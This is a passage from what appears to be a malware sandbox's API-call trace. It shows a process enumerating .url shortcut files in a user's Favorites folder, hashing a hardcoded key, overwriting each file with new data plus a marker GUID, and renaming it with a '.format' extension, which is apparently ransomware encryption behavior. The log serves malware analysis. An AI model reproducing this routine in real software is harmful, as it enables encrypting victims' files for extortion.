Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.794] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.794] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.794] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.794] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.794] GetLastError () returned 0x0 [0067.794] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.794] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.794] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.794] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.794] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.794] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.794] WriteFile (in: hFile=0x5c8, lpBuffer=0x313ab18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x313ab18*, lpNumberOfBytesWritten=0x38cfb24*=0x80, lpOverlapped=0x0) returned 1 [0067.794] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.794] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.794] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.794] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.795] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.795] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.795] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.795] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.795] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.795] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.795] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.795] CloseHandle (hObject=0x5c8) returned 1 [0067.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0067.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0067.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0067.796] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.format")) returned 1 [0067.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.797] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0067.798] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0067.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0067.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.798] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned=".url" [0067.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.798] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.798] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.801] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.802] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.803] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.803] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.803] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.803] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.803] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.803] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.804] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.804] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.804] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.804] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.804] GetLastError () returned 0x0 [0067.804] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.804] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.804] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.804] WriteFile (in: hFile=0x5c8, lpBuffer=0x313ab18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x313ab18*, lpNumberOfBytesWritten=0x38cfb24*=0x80, lpOverlapped=0x0) returned 1 [0067.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.805] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.805] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.805] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.805] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.806] CloseHandle (hObject=0x5c8) returned 1 [0067.806] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0067.806] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0067.806] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0067.806] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.format")) returned 1 [0067.807] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.807] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.808] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0067.808] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0067.808] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.808] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0067.809] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.809] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned=".url" [0067.809] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.810] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=133) returned 1 [0067.810] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.813] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.813] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.814] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.814] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.814] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.814] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x85, lpOverlapped=0x0) returned 1 [0067.814] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.814] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.814] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.814] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.814] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac1b0) returned 1 [0067.815] CryptCreateHash (in: hProv=0x6ac1b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.815] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.815] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.815] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.815] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.815] GetLastError () returned 0x0 [0067.816] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.816] CryptReleaseContext (hProv=0x6ac1b0, dwFlags=0x0) returned 1 [0067.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.816] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.816] WriteFile (in: hFile=0x5c8, lpBuffer=0x313ab18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x313ab18*, lpNumberOfBytesWritten=0x38cfb24*=0x80, lpOverlapped=0x0) returned 1 [0067.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.816] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.816] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.816] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.817] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.817] CloseHandle (hObject=0x5c8) returned 1 [0067.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0067.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0067.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edca8 | out: hHeap=0x5d0000) returned 1 [0067.818] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.format")) returned 1 [0067.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.818] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0067.820] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0067.820] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31756e8 | out: hHeap=0x5d0000) returned 1 [0067.820] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0067.820] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.821] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.821] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.822] RtlAllocateHeap (HeapHandle=0x5d0000, 